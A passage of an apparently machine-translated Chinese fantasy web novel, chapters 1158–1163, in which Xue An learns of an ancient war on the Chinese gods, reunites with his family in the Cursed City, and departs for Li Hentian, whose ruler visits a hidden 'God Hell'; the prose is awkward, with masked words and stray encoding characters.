    Speaking of this, even though Mu Guqing had not personally experienced it, there was still a touch of shock in his eyes.


    After all, such tragic scenes can be chilling even if they are just written.


    "This war did not last long, and the reason must be known to the adults. To a large extent, it was because of the sudden reversal of the Amaterasu God''s Court that caused the Chinese gods camp to fall apart, which led to their fiasco!"


    "But even so, the Chinese gods at the time did not give up, but made a nearly tragic breakthrough!"


    "My master saw with his own eyes, a young man with three heads and six arms and a **** with a vertical head joined forces to fight the enemy, and he smashed his way from the sky full of gods who besieged them!"


    "That soaring power, in the words of my master, even though the strong is like rain, there is no one enemy in front of these two gods!"


    "But just as they led the Chinese gods with heavy casualties about to rush out of the siege, reinforcements suddenly arrived!"


    "Reinforcement?" Xue An has been listening quietly. Even those tragic fights didn''t make him any discoloration. It was not until he heard the word Reinforcement that his eyebrows rose suddenly.


    "Yes! Reinforcement! I know what you want to ask, but it is a pity that the reinforcements that came at that time were all shrouded in heavy fog, and it was impossible to see the way."


    Hearing these words, Xue An did not show the slightest disappointment. In fact, he had predicted that the people who started with the Chinese had clearly planned very carefully, even to the point of not leaking.


    Just relying on a Taiyin Protoss, there will certainly not be any major breakthroughs.


    But the more so, the more killing intent in Xue An''s heart becomes.


    Regardless of your terrifying conspiracy, sooner or later I will get the black hands behind the scenes.


    "Although these people who came here can''t see the way, they are extremely powerful, and their joining immediately changed the situation on the battlefield."


    "The Chinese gods who were already scarred were completely besieged and could no longer break through the siege, but even so, these Chinese gods still did not give up, but carried out a nearly tragic fight!"


    "Master saw with his own eyes a **** holding a pipa rushing forward, and he blew himself up and died with a powerful man who came!"


    "The scene is so tragic and tragic that everyone is shocked and far away, and many people can''t bear to watch it again!"


    Xue listened quietly, his expression indifferent, only a little cold light gradually appeared in his eyes.


    "Unfortunately, although the Chinese gods killed so many enemies, they were still outnumbered in the end and completely lost the power to resist! And until this time, the Lihentianjun came too late!"


    "Li Heng Tianjun!" Xue An repeated softly.


    "Yes, it''s Li Hen Tianjun, you..."


    Mu Guqing was about to continue, Xue An waved his hand, "I know him, no need to introduce it!"


    Mu Guqing was taken aback, then nodded suddenly, "Yes!"


    "Then what?" Xue An asked.


    "Then..." Mu Guqing smiled bitterly, "This is my master and even the patriarchs of all generations who have been puzzled, and it is also the first big doubt I want to tell you!"


    "Oh? Doubt?"


    Mu Guqing nodded, "That''s right! After Li Hentian led the Li Hentian gods to arrive, he was proud of his expression to wipe out all the Chinese gods."


    "But at this moment, a strange thing happened!" At this point, Mu Guqing''s eyes showed a touch of horror, and he trembled: "My master was in a trance at the time, and then waited for him to wake up. Afterwards, I was shocked to find that the Chinese gods who were deeply surrounded by the heavy siege had disappeared, leaving only a lot of corpses floating there!"


    Xue An frowned upon hearing this, "disappeared?"


    Mu Guqing nodded his head, "Yes, it disappeared! At that time, my master thought he had a superficial cultivation level and had some secret technique! But she soon discovered that not only her, but all the gods present at the time, Even the most powerful people, including Li Hentian Jun, have lost this memory!"


    This statement made Xue An''s eyes full of coldness, because if it is simply to tamper with the memory, it is not difficult! Hearing Mu Guqing''s words, it is obvious that someone forcibly cut off a piece of cause and effect at the time and saved the Chinese gods.


    In other words, someone directly intercepted everyone who was present for a short period of time.


    This level of strength is by no means idle, even for the immortal king or even the immortal emperor''s first-level powerhouse.


    Then where did the giant save the Chinese gods? And where are the Chinese gods now?


    The news shocked Xue An.


    Mu Guqing closed his mouth wisely, not daring to disturb Xue An''s thinking.


    Because she knows very well that things at this level are far beyond the reach of her little Lunar Protoss.


    Even the gods of the entire God Realm are not qualified.


    After a long period of contemplation, Xue An regained his peace and said lightly: "What about then?"


    Mu Guqing then continued: "As soon as this incident happened, all the powerful auras that had come were dissipated, and Li Hen Tianjun took away all the corpses left by the Chinese gods!"


    "Take it away? Taken away the capital?" Xue An raised his eyebrows slightly.


    Mu Guqing nodded, "Well! Now is the second question I want to tell the adults Although the breath that came at that time was very secret, they might be frightened and ignored when they retreated. One incident led to a clue being seen by my master!"


    "What''s the clue?" Xue An''s heart moved, and hurriedly asked.


    "At that time, when they broke through the space and left, although the seal was very tight, they left a small flaw. At that time, my master discovered that what leaked from that flaw was a breath of coldness! "


    "Yin and cold air..." Xue An''s expression changed, and she whispered softly.


    "You know, my Taiyin Protoss itself is the cultivation of Taiyin Qi, and I am very familiar with this Yin Qi. Although the leaked Yin and Cold Qi is different from the Taiyin Qi, it also belongs to the Xuanyin category!"


    Although this news is very general, it at least provides a general direction, and will not be as blind as before, so Xue An nodded.


    "I see! Anything else?"


    A look of hesitation flashed across Mu Guqing''s face, "My lord, the two previous questions were handed down by the master, but now this one is my own analysis!"


    "Oh? What?"


    Mu Guqing took a deep breath, "The monarch of Lihentian, the noble monarch of the high **** realm, has always been unfathomable in strength, but in the past thousand years, the Lihen Gods under his command have suddenly become active, and their strength has all advanced by leaps and bounds, but All of their revealed strengths have the shadow of Chinese divine power!".


    Xue An''s eyes flashed coldly, "You mean..."


    Mu Guqing nodded, "I suspect that in the hands of Li Hentian Jun, there is probably a Chinese **** who survived!"

 Chapter 1159： May you go here, kill all the enemies, and prestige...

    This is a suffocating silence.


    Xue An dropped his eyes, silently speechless.


    But Mu Guqing was trembling slightly.


    , who had already turned into the **** of the Taiyinchi, felt a deep chill at this moment.


    Mu Guqing understood that this was not the chill, but the killing intent emanating from Xue An.


    But just by killing intent, there is such a mighty power that Mu Guqing can''t help but change his color.


    Another long time passed.


    Mu Guqing reluctantly suppressed the fear in his heart, mustered up the courage and whispered: "My lord, you..."


    The voice did not fall.


    Xue An slowly raised his eyes and said lightly: "Needless to say, I am very grateful for you to tell me so much information this time! Let''s go, don''t let your people wait too long!"


    After saying that, Xue An flashed out of the Taiyin Pool.


    Mu Guqing stared at Xue An''s back blankly. After a while, he let out an imperceptible sigh, and then flew out of the Taiyin Pool.


    At this moment, everyone in the Taiyin Protoss is waiting for Xue An and Mu Guqing on the island.


    Most people have a smile on their faces. After all, their old patriarch is back from the dead, and with the shelter of a strong man like Xue An, the future of the Tianyin Protoss will be bright.


    So they are naturally happy.


    Only Zhong An''an, his eyes flickering, looked at the Taiyin Pond thoughtfully all the time.


    After Xue An and Mu Guqing walked out of the Taiyin Pool before and after, everyone rushed forward to see the ceremony.


    But only Zhong Anan noticed the heart-stirring killing intent at the corner of Xue An''s eyebrows.


    This made her feel trembling, and her heart could not help but shrink together.


    What did the master and the adults say in it? Why are adults so murderous?


    Zhong An''an was thinking to himself in his heart.


    At this time, Xue An looked around everyone in the room, and finally fixed his gaze on her.


    "Miss Zhong, I have done everything I promised you. Now your master has awakened, and the world has been emptied. You will take care of the rest, but remember one sentence."


    Speaking of this, Xue An''s eyes grew colder, and he said coldly: "No matter when, don''t be blinded by power, do you understand?"


    Zhong An''an heard the words with a solemn expression, bowed his head and said: "My lord, please rest assured, An''an understands!"


    Xue An nodded, "Very good! If so, then I will go!"


    After that, Xue An turned around and left.


    Zhong An''an was taken aback, she didn''t expect Xue An to leave as soon as he said.


    After this time of contact, Zhong An''an has a kind of almost fanatical worship for Xue An, especially this time he rescued his master, which made Zhong An''an be fond of him.


    of course.


    Zhong Anan also knows that this is entirely her own wishful thinking, but she is a very persistent woman, no matter what Xue An thinks of her, she just likes him anyway.


    Not to mention liking people without breaking the law.


    And Zhong An''an has always had a trace of extravagant hope in his heart.


    Because among the people she has met, there is more than one woman as strong as Xue An.


    But she never expected that Xue An would leave so simply and neatly.


    This made her anxious, and she was waiting to say something to stay.


    At this moment, I saw Mu Guqing handing over and saying: "My lord, please stay!"


    Xue An stopped, then turned around and asked with some confusion: "What else is there for Chief Mu?"


    Mu Guqing took a deep breath and said with a solemn expression: "My lord... you are going here, but are you going there?"


    said, Mu Guqing raised his finger and pointed at the sky.


    Xue An was taken aback, then smiled, and said lightly: "Of course, after all, there are still a lot of accounts that I need to settle!"


    Although it had been predicted, Mu Guqing couldn''t help but trembled when he heard Xue An''s exact reply.


    High God Realm... the highest level of the entire God Realm.


    Even so-called gods like myself can only look up at them.


    And this boy, unexpectedly wants to go alone.


    Not to mention anything else, this kind of courage alone is enough to move people.


    "Is there anything else?" Xue An asked, "If not, I will leave!"


    After that, Xue An turned around and wanted to do it.


    At this moment, when Mu Guqing snorted softly, a complicated seal suddenly appeared between his brows.


    As soon as this seal was printed, it released a thousand rays of light.


    Then Mu Guqing raised his hand and pointed, this seal flashed past, directly behind Xue An, and then disappeared.


    Xue An was taken aback for a moment, and then a weird look appeared in his eyes, and he sighed softly, "Patriarch Mu, why are you doing this?"


    Mu Guqing smiled, "My lord, the Chinese gods came here ten thousand years ago. It is amazing. Although the power of the Chinese people has faded because of various things, I feel that the Chinese people will definitely return to the peak, and I am too yin If the Protoss wants to seize this opportunity, it will naturally have to give something!"


    Speaking of this, Mu Guqing''s expression was solemn, and he said, "My lord, go here, I hope you will kill all your enemies, and your majesty will come to the world!"


    Xue An took a deep look at Mu Guqing, then nodded slightly, "Well, since you think so, then I will accept it and go!"


    After all, Xue An unfolded his robe sleeves, turned into a streamer, and disappeared into the sky in an instant.


    Zhong An''an gave a soft cry, took two steps forward, and then looked bitterly at Xue An''s back.


    Mu Guqing walked up to her at this moment, looked up at the empty skyline, and sighed softly: "An''an, I know your thoughts. If it was before, I might persuade you to catch it, but now I only It can be said that his origins are far beyond what ordinary people can imagine, and its price is beyond words! But what he carries may be more than what he has!"


    Zhong An''an looked at it ignorantly, and after a while, she whispered: "Then why do you want to seal your natal seal to him?"


    Just now Mu Guqing gave Xue An the seal of her life after she became a god.


    The magic of this fate seal is that once you have it, this **** will live and die with you, becoming a guardian-like existence ~ www.novelhall.com~ This is why Xue An just sighed why he was so bitter.


    Mu Guqing heard the words and swept the temples in his ears, and smiled faintly, "Not to mention that I was already dead. If it weren''t for an adult, I would never survive!"


    "As you said before, if you want to get benefits, you have to give something! I want to take a gamble now!"


    "Bet? What to bet?" Zhong Anan turned his head to look at his master.


    Mu Guqing whispered: "Betting that this young man will become the real big man in this world, and even in the world!"


    Zhong Anan was shocked, and finally understood Mu Guqing''s intentions.


    Only then did she realize that although she might have some cleverness in some trivial matters, when it was really above the big things, she was still far behind her master.


    With this decisiveness alone, he is far behind.


    "But... is he really going to face all this alone?" Zhong An''an whispered softly.


    "What you don''t understand, this is not his fate, but his own choice! Now..." Mu Guqing turned to look at his apprentice.


    "Are you still willing to wait for him?"


    Zhong Anan was silent for a moment, then nodded, "Yes!"


    Mu Guqing was taken aback, "You have to understand that your waiting is meaningless at this moment, because he will never look at you for it!".


    Zhong Anan smiled, "I like him, it''s my own business, why should he look at me more? And..."


    "I didn''t wait for him to move someone, it was just that I wanted to wait, that''s all!"

 Chapter 1160： The vast sea of ??stars, coming by the moon

    Just when Xue An left the Taiyin Protoss and returned to Amaterasu.


    The Cursed City has also undergone a dramatic transformation.


    On that day, Xue An went to the Quartet Universe alone, and the entire Amaterasu God Realm was shaken.


    Many people who watched the excitement simply didn''t leave, but they wanted to see how things would end this time.


    At the beginning, people talked a lot, and the atmosphere was still very relaxed.


    But soon, when the news of Sifang Huanyu came back, everyone was shocked.


    Especially after hearing that Xue An really slaughtered the sky fire, the ancient sword, and the five-pass three gods.


    Everyone is stupid.


    The people who originally planned to watch the excitement are all quiet now. If you are timid, you can''t wait to turn around and leave. It''s best to stay as far away as possible from this cursed city.


    A news came immediately afterwards, which made these people secretly relieved.


    Because Xue An actually entered the abyss of the sky fire alone, and there was no news about it.


    At this time, many people secretly chuckled in their hearts, thinking that Xue An was too big, and he dared to enter that dangerous place alone.


    This is all right, I have learned a lesson.


    At the same time, everyone in the Cursed City also heard the news.


    The cursing goddess Chu Xiaoyun suddenly changed her expression, "What? Your lord has entered the abyss of the sky fire alone! This...this..."


    Chu Xiaoyun has been here for a long time, but can''t say anything.


    Because as a native god, she knew the terrible place of the abyss of fire that day.


    is the Skyfire God Clan, and you must make sufficient preparations before you dare to enter it, otherwise you will definitely die.


    It''s really bad luck for the lord to enter so recklessly.


    Chu Xiaoyun was anxious, turned around and told the news to An Yan and Hu Ying.


    was beyond her expectation, only An Yan looked worried after hearing the news.


    The other people are all the old gods, and they didn''t take it seriously.


    Even Hu Ying said to An Yan nonchalantly: "Sister Yan, you don''t have to worry so much. I guarantee with my tail that Brother Xue will definitely be fine!"


    "But..." An Yan was still a little worried. In fact, she also knew that Xue Anxiu was shocking, but when she heard Chu Xiaoyun talk about the dangers of the fire abyss that day, she still couldn''t help but feel a little frightened.


    Fox Ying smiled, "Don''t worry, sister Yan, don''t listen to this little **** who has never seen the world, don''t listen to the nonsense of this little **** who has never seen the world, what bullshit, the abyss of fire, is nothing in front of Brother Xue!"


    Huying''s remarks were very rude, and even pointed out that Chu Xiaoyun had never seen the world.


    But Chu Xiaoyun couldn''t say a word of rebuttal.


    Because she had long discovered that when she was facing Huying, this stunning girl with pure temperament, despite her low cultivation base, suppressed her whole body bloodline.


    This can only explain one thing, that is, the power of this girl''s blood is too strong, even the kind she can''t imagine.


    So after hearing what Hu Ying said, she could only lower her head with a wry smile.


    An Yan''s face sank slightly, and her voice stretched out and shouted: "Ying''er..."


    is obviously dissatisfied with her attitude.


    Ying''er spit out her tongue, "I''m sorry Sister Yan, I may be a bit too blunt, but it is true. You don''t have to worry about Brother Xue, he will be fine! If you don''t believe me, let''s wait two days. !"


    An Yan nodded after listening, "Okay! Then wait, if you haven''t come back by then, I will go find him!"


    Next, An Yan and his party waited in the Cursed City.


    As time goes by, more and more eyes are gathered here, and many people are gloating to read the jokes of the Cursed City.


    Even in the dark, there are already many forces greedily watching the Cursed City, preparing to annex it.


    This kind of situation makes the entire cursed city look like a flat boat in the wind and rain, and it seems so tottering.


    At least Chu Xiaoyun was worried about it, and was almost driven crazy by this powerful pressure.


    But she never expected that things would turn around so quickly.


    When the time has just turned two days.


    On this day, she ascended to the high tower in the city as usual, preparing to check the surroundings.


    At this moment, she was shocked to discover that dozens of streamers flew in the distance.


    These streamers came so fast, they flew to the front in an instant.


    At this time, Chu Xiaoyun realized that the people who came were actually strong from the border between Amaterasu God''s Domain and Sifang Huanyu.


    This discovery made Chu Xiaoyun''s hair stand up.


    What are these people doing? Is it conspiring to be unruly, planning to join hands to deal with the cursed city?


    With this thought in mind, Chu Xiaoyun made all the preparations at the time, planning to fight to the end.


    But the next second, there was a scene that shocked her on the spot.


    But seeing these strong men standing in front of the cursed city, they all bowed together, saying surrender.


    This time, not only was Chu Xiaoyun stunned, but the crowd who had originally planned to watch the excitement were all stupid.


    Because people don��t understand what happened.


    But soon, these people were all shocked by the news they brought.


    Xue An actually walked out of the Abyss of Skyfire, and directly broke through the blockade set by Feilongwu, the Temple of Strength, and even shook the Sun-Eater Tengu.


    Then he smashed all the opponents with a punch. Now he has gone to the land of the Taiyin Protoss, and it is estimated that he will return to the Cursed City soon.


    This series of news is like a loud slap in the face, swelling the faces of those who had previously ridiculed Xue An.


    But for these people, it doesn''t matter whether the face is swollen or not. The key is that if you don''t want to make up for your mistakes, you may not be able to save the lives of these people when Xue An returns.


    With this idea These people hurriedly relayed the news back to their respective forces.


    So, this news swept across the entire Amaterasu God Realm at an almost terrifying speed.


    It was no more than a cup of tea, but seeing the light in the Amaterasu God Realm, all the forces rushed to the cursed city in a panic.


    When An Yan walked to the head of the city, the entire open space outside the cursed city was already crowded by the densely packed square powerhouses.


    Seeing this, An Yan couldn��t help but feel a little dumbfounded, "Why... why so many people?"


    Hu Ying smiled, "What''s weird about this, these guys must be afraid that Brother Xue will find them again, so they all came to show their loyalty! Hmph, a bunch of grass!"


    Huying is naturally disdainful of these guys.


    At this moment, the two little girls suddenly cheered, "It''s Dad, Dad is back!"


    said, the two of them raised their hands to the sky.


    Upon hearing this, everyone on the city and the city all looked up.


    But at this moment, there is a bright moon hanging high in the sky, the night sky is like jade, and the sea of ??stars is vast.


    And just under such a scene, a stream of light suddenly appeared in the sky.


    Then I saw the bright moon trembling, and the star sea drooped, as if welcoming this person''s arrival.


    In an instant, this stream of light flew above everyone''s heads.


    After the establishment, I saw a white-clothed young man standing proudly, his clothes floating, like an immortal.


    Then the boy looked around the audience, and finally smiled at An Yan above the city head, "Yan''er, I''m back!"


    That''s right!


    Those who come on the moon, so is Xue An!

 Chapter 1161： Arrogant and bowing little girl acting like a baby

    The audience was silent first, and then there was an uproar.


    Countless strong Tianjiao bowed their heads at this moment and shouted respectfully.


    "I have seen God Lord Xue!"


    The so-called God Lord is the honorific name for the supreme power who controls the world.


    Now, Xue Anfa has exhausted all the gods and gods in this world, and became the first person in this world with a peerless posture.


    is respected as a god, naturally no one dares to have the slightest objection.


    And such images of people bowing their heads have also spread throughout the world through various water mirror techniques.


    All the strong who saw this scene were silent.


    Because they suddenly discovered that the young man standing on top of the sky is so terrifying.


    Once upon a time, everything he said was treated as a joke.


    Such as slaughtering the gods of Amaterasu, such as letting all the rich and powerful people in the Quartet world bow down.


    When these words first came out, no one believed them.


    But later, this young man used practical actions to honor them one by one.


    And those who ridiculed and even stubbornly resisted this are already cold at the moment.


    This kind of strong contrast naturally makes all the strong fearful.


    At this moment, even no matter how arrogant the strong are, they have to lower their arrogant heads and show the greatest fear to this white-clothed young man.


    Chu Xiaoyun stared at this scene blankly.


    As the first person to come into contact with Xue An, she can be regarded as watching Xue An ascend to the supreme position step by step.


    It was only now that Chu Xiaoyun discovered that Xue An had created miracles in all kinds of impossible from beginning to end.


    It is ridiculous that he had doubts about Xue An before, and even worried that something would happen to him.


    Thinking of this, a wry smile appeared on Chu Xiaoyun''s face.


    Now she finally understands what it means to be restricted by the pattern of imagination.


    And in this highly anticipated situation, Xue An did not have the slightest look of strangeness, An Ting took a stroll, and the whole person appeared on the city wall.


    After landing, the two little girls, thinking and niannian cheered, rushed up and threw directly into Xue An''s arms.


    "Dad, you just look so handsome!" The big eyes are shining as I think about it.


    "That''s right, the scene just now was so good!" Nian-nian also said.


    These two little girls may not understand what is handsome, but in their eyes, everything Xue An does is the most handsome and cool!


    Being praised or even worshipped by others, Xue An didn''t feel the slightest feeling, but after being praised by his daughter, Xue An''s face burst into a brilliant smile.


    "Of course, can I still be handsome with your father?" Xue An said with a smile.


    Of course, these conversations between their father and daughter were covered by Xue An''s secret technique. The people under the city couldn''t see it at all. Even on the city wall, only people close to them could hear it.


    An Yan put down a heart that had been hanging, and then looked at the two little girls who hung on Xue An like a koala with some dumbfounding, pretending to be angry.


    "You two little girls, have you finished memorizing today?"


    The two little girls sighed when they heard the words, and then buried their heads in Xue An''s arms like a groundhog.


    Think about it and said in a sullen voice: "In order to celebrate the return of Dad, the two of us have decided not to endorse today and take a day off!"


    "That''s right!" Nian Nian immediately agreed.


    An Yan stared, "One day off? Did I agree?"


    Think about poking his head out of Xue An��s arms, sticking out his tongue at An Yan, and then smilingly said: "Mom, you didn''t agree, but Dad must agree! Right, Dad!"


    said, thinking about looking at Xue An with hope.


    Xue An smiled and nodded.


    "Huh?" An Yan snorted.


    Xue An''s smile froze, "Uh...this..."


    Seeing that things are going to be bad, I think about holding Xue An��s face simply, chirp, and kiss Xue An��s left cheek.


    Then, Nian Nian kissed Xue An''s right cheek unwillingly.


    Then the two little girls began to beg softly.


    "Oh, dad, you just let us rest for a day!"


    "It''s Dad, I''m so tired!"


    Under the coquettish Dafa of the two little girls, Xue An, whose face was marked by saliva, almost burst into laughter, and nodded again and again.


    "Okay! Rest, you must rest! I won''t endorse today, just play!"


    "Really?" The two little girls'' eyes lit up.


    Xue An nodded, "Of course it is true!"


    "But mother..." The two little girls secretly looked at An Yan.


    "Don''t worry, your mother dare not defy what Dad said!" Xue An said with a "righteous" expression.


    "Oh!" The two little girls jumped out of Xue An''s arms with joy and joy, pulled Zhang Xiaoyu and Hu Ying, and returned directly to Fu Bao Xiaolou.


    These two little girls have also become fascinated by fighting games recently. Whenever they have a chance, they compete with Hu Ying and Zhang Xiaoyu in the Fu Bao Xiaolou.


    Waiting for them to leave, Chu Xiaoyun led them to hide away in a wise manner.


    And Xue An looked at An Yan with a smile, and exclaimed: "Yan''er, I haven''t seen you in a few days, how did I find you look good again?"


    An Yan had a straight face, and secretly warned herself not to laugh.


    I don��t know why, when she saw the warm smile on Xue An''s face and smelled the faint fragrance on his body, she felt soft, but she still didn��t want to give up the last thing. Resistance, so he clenched his teeth and kept his expression serious.


    But when she hadn''t figured out how to answer Xue An, Xue An suddenly flashed, and the whole person appeared in front of An Yan, hugged An Yan in his arms, and then got up and flew into the city with a smirk.


    There were many strong men standing there dumbfounded.


    just... just left?


    Shouldn��t he take this opportunity to say a few words?


    You must know that all eyes are gathered here, it can be said that it is the best time to establish prestige!


    But this Xue An didn''t seem to see this in his eyes at all, and he left with his family.


    This naturally shocked many people.


    But Chu Xiaoyun smiled bitterly and watched Xue An''s departure.


    Now she finally understands a truth, that is, don''t use common sense to guess adults.


    For example, now, the strong men in the sky are waiting for Xue An and waiting for his instructions.


    This kind of opportunity that many people dream of is not as important as An Yan''s smile to Xue An, so he left so simply.


    Acting in this way naturally makes people feel absurd.


    But Chu Xiaoyun understood that this might be a normal thing in Xue An''s eyes. .


    Thinking of this, Chu Xiaoyun couldn''t help lowering his head, his heart full of infinite envy for An Yan.


    After all, to have a man like Xue An regards you as a treasure is simply the greatest luck for a woman.

 Chapter 1162： Sword Slash

    at the same time.


    on the high tower in the cursed city.


    An Yan blushed and leaned on Xue An''s shoulder.


    Xue An gently stroked An Yan''s long hair.


    The atmosphere is warm and sweet.


    But this quiet time didn''t last long, when An Yan suddenly grabbed Xue An''s hand, and then took a vicious bite.


    Xue An took a breath, "Yan''er, what are you doing?"


    An Yan raised her face somewhat triumphantly, "Nothing, just want to bite you suddenly!"


    Xue An looked at the clearly visible tooth marks on his wrist, and said dumbly: "Then you will bite out a watch for me?"


    An Yan narrowed his mouth, "Who made you brag in front of missing you, dare to brag, be careful, I will bite out a watch for you!"


    Xue An was startled, "Bringing? What am I bragging?"


    An Yan glared, "Didn''t you say that I dare not defy what you said? Isn''t this bragging?"


    Xue An suddenly realized, but even if Xuan was amused, "because of this?"


    Anyan nodded in anger, "Is this not enough?"


    Xue An amusedly squeezed An Yan''s bulging cheeks, and while secretly sighing the smoothness of the hand, he smiled and said, "Okay, then I won''t say that in the future. From now on, my wife will be right, even if it is wrong. That''s also the whole world''s mistake, do you think it''s okay?"


    An Yan thought for a while, just about to nod, suddenly understood, and then said angrily: "Are you turning a corner and saying that I''m a mess?"


    Xue An laughed, "I didn''t say that, but Yaner, why are you getting smarter these days?"


    "Big bad guy, you''ve just got smarter recently. I''ve always been so smart! Isn''t it good to say how stupid I was before!" An Yan wanted to "righteous words" reprimanding Xue An.


    was talking, but she couldn''t help but laugh first.


    Xue An was even more overjoyed when he saw this.


    An Yan was so angry that he stomped his feet and said, "I''m so angry, why I just can''t get angry with you!"


    Xue An chuckled lightly, then took An Yan into his arms and patted her head lightly, "It''s okay, it''s okay! I know, you''re afraid of losing face when you miss Nian , I will pay more attention to it in the future!"


    An Yan turned his anger into joy, and then leaned over Xue An''s arms with joy, and responded in a low voice: "Hmm!"


    There was another long silence.


    Xue An and An Yan enjoy this rare quiet time.


    Then An Yan said softly, "Husband, when are we going to get up again?"


    Xue An lowered his head and looked at An Yan. After a while, he chuckled and said, "How do you know you are leaving?"


    An Yan took it for granted and said: "The things here have been done, of course we must leave! Didn''t we all be like this before?"


    Xue looked at him quietly, suddenly leaned down and kissed An Yan on the forehead, and then said distressedly: "Yan''er, I have been living away with me for so long, thank you!"


    An Yan stiffened, and then he took Xue An''s waist and shook his head gently and said: "It''s not hard, as long as I can be with you, no matter where I go, how far I go! I won''t feel hard! "


    Xue An felt a warm current in his heart, and said softly: "I plan to leave tomorrow!"


    "So fast?" An Yan was a little surprised.


    In the past, after dealing with the affairs of a world, he would often rest for a few days before setting off. This time Xue An had to leave immediately, An Yan was naturally a little surprised.


    Xue An nodded, then raised his head and looked out the window.


    His gaze passed through the layers of night, looked towards the unknowable distance, and then said lightly: "This time the matter is different from before, because this Li Hentian may still have a Chinese **** living in his hands, so We must leave as soon as possible and find a way to rescue him!"


    Hearing what Xue An said, An Yan couldn''t help getting up in awe, nodding heavily.


    "it is good!"


    When Chu Xiaoyun heard that Xue An was about to leave for the High God Realm, she couldn''t help being stupid.


    "My lord, you... do you really want to leave now?"


    Xue An nodded, "It shouldn''t be too late, I will leave tomorrow!"


    "But..." Chu Xiaoyun fell into deep anxiety.


    She doesn''t distrust Xue An''s ability, but as a person in the gods, she naturally understands what it means to be high in the gods.


    In her opinion, if Xue An wants to go to the high **** realm to find a top-tier **** like Li Hentian, he must first make sufficient preparations.


    For example, you can wait until the entire Amaterasu God Realm and the Sifang Huanyu forces are integrated into one, forming a powerful combat force, and then go to the high God Realm slowly to figure it out.


    This is the safest and most correct method.


    But Xue An actually wanted to leave tomorrow, which was beyond Chu Xiaoyun''s expectation.


    Xue An naturally saw Chu Xiaoyun''s thoughts, but he just smiled, and then said: "There is nothing wrong with it! Now you have completely integrated this cursed **** position, and your strength is enough to shock this **** domain! As for the high gods, I don��t need your help!"


    Chu Xiaoyun listened to Xue An for a long while, then lowered his head with a wry smile, "Yes!"


    Do you have to go alone when dealing with high-level gods?


    The strength of your lord...how powerful it must be!


    Chu Xiaoyun sighed in his heart and she wanted to quit!


    "That''s right!" Xue An suddenly stopped her.


    "My lord, is there anything else?" Chu Xiaoyun stopped immediately and asked respectfully.


    Xue An pondered for a moment, "It''s nothing, but you are now in charge of this divine realm, remember to deal with the affairs of the sea of ??divine punishment!"


    Chu Xiaoyun was taken aback, then bowed his head deeply, "Understood!"


    "Go!" Xue An waved his hand.


    Chu Xiaoyun turned and left the tower.


    But as soon as she walked out, she felt a strong aura behind her.


    Chu Xiaoyun turned around in amazement, looking up.


    I saw a bright sword light rising into the sky from the high tower, directly splitting a big hole in the top of the sky.


    Then a huge void vortex appeared in front of everyone.


    Such a earth-shaking scene naturally attracted the attention of countless people.


    At this moment, only a figure flashed, Xue An already appeared in front of this void vortex.


    Xue An looked down at the all living beings at his feet, smiled faintly, and then stepped into this void vortex.


    Boom!


    When his figure disappeared in the turbulence of time and space, but seeing a huge tremor in the void, then this huge hole was instantly closed together.


    The turbulent wind and cloud gradually subsided, and the sky changed back to its original appearance. .


    People stared blankly, all fell into a petrified state.


    Only the tears loomed in Chu Xiaoyun''s eyes, and he whispered softly: "My lord, I hope you go here and return safely!"

 Chapter 1163： Under the hatred, in the **** prison

    Li Hentian.


    As the highest heaven of the gods, the aura here is abundant, and the laws of the heavens are complete and firm, even to a level that is almost terrifying.


    Therefore, those who can live here are strong enough to cross the entire God Realm.


    But no matter how strong the deity is, he must show respect to the temple located in the center of Lihentian.


    Because the one who lives in it is the entire Lihentian strongest king, Lihentian Jun.


    this moment.


    In this extremely majestic and magnificent temple, Li Hentian Jun, who was sitting cross-legged on the front futon, suddenly opened his eyes.


    As his eyes opened, two cold rays of light pierced the void, sweeping out two long passages like a rotten rotten.


    just standing before, there are two palace maids.


    Although these two women are maids, they both have good cultivation skills.


    can be seen from the sight of Hengtian Jun, the two of them can''t even make a scream, they are directly evaporated into nothingness.


    This scene caused many people in the hall to kneel to the ground in fear, shivering, and dare not speak.


    Then, Li Hentian Jun slowly condensed the light in his eyes, but his face was full of cold and...


    A touch of panic that is not easy to be noticed.


    Yes, fear!


    If there are other gods here, you will definitely be frightened by this scene.


    You must know that Liheng Tianjun is known as the number one **** in the God Realm. He has been in charge of the high God Realm for tens of thousands of years. His strength is unfathomable, and his authority is more like an abyss sea mountain.


    But this is the existence, and at this moment there is a sense of panic.


    What is it that can make him so gaffe?


    Of course, none of the people in the hall saw this scene.


    At this time, Li Hentian Jun took a deep breath, and then said in a deep voice: "You wait and get out first!"


    The sound is not loud, but it appears so majestic in the vast hall of the temple.


    All the subordinates trembled all over, knocked their heads deeply, and then slowly backed out.


    When there was only one person left in the huge hall, Li Hentianjun, his expression fluctuated, his heart trembling slightly, thinking about what he felt when he had just meditated.


    As a top-tier god, the strength of Li Hentian Jun is undoubtedly powerful.


    When he is sitting in meditation, his divine mind can travel throughout this world, and he can even see a glimmer of opportunities in the past and even the future.


    But that is why he felt a strong shock just now.


    This feeling is so abrupt and powerful, coming like a tide, directly smashing Li Hentianjun��s Gujing Bubo mentality.


    This made Li Heng Tianjun, who was still sitting and practicing for a long time, suddenly opened his eyes.


    What is that feeling just now?


    Why does ���� scare me?


    Li Hentian Jun frowned, and the more he thought about it, the more he was surprised.


    But he knows that with his current cultivation level, this feeling is definitely not aimless, it must be a sign that something is about to happen.


    But the more so, the more restless he is.


    Could it be... something to do with that?


    Li Hentian felt that a thought flashed through his mind, like a thunderbolt in the blue sky, making him feel terrified.


    As soon as I thought of this, Li Hentianjun could no longer sit down, his figure flashed, and he disappeared in the hall.


    Just as things have both yin and yang sides, this surface looks magnificent and full of the majesty of the gods. There is also a dark place where the sky is not visible.


    This place is shrouded in eternal black mist, the ground is criss-crossed with canine teeth and cracks criss-crossed, and there is a black smoke from inside, like an open mouth of blood, it looks terrifying and terrifying.


    From time to time, the sky will also drop a terrifying black rain of erosive souls, strangling any vitality in this space.


    But in this harsh environment, on the ground, among the knotted peaks, you can actually see many bones.


    These white bones are very huge, but the neck or shoulders of these white bones are crossed by iron chains, and then they are firmly bound there.


    But even so, these bones pointed to the sky in a weird posture before they died, as if the unyielding soul who would rather die than surrender was giving the final roar to the sky.


    Here, Li Hentian is the most secretive and also the most terrifying place.


    God Hell!


    At this time, the sky was surging with black mist, and it took a while, but saw a figure rushing out of it, and then it landed on the weird mountain in the center of the **** prison that looked like the palm of the devil.


    is Li Heng Tianjun.


    saw him look around the world, his face was as cold as ice, and then his hands began to form complicated and strange runes.


    Every time a talisman is formed, the whole mountain trembles, and the expression of Li Hentian Jun also becomes solemn.


    seems to be opening something.


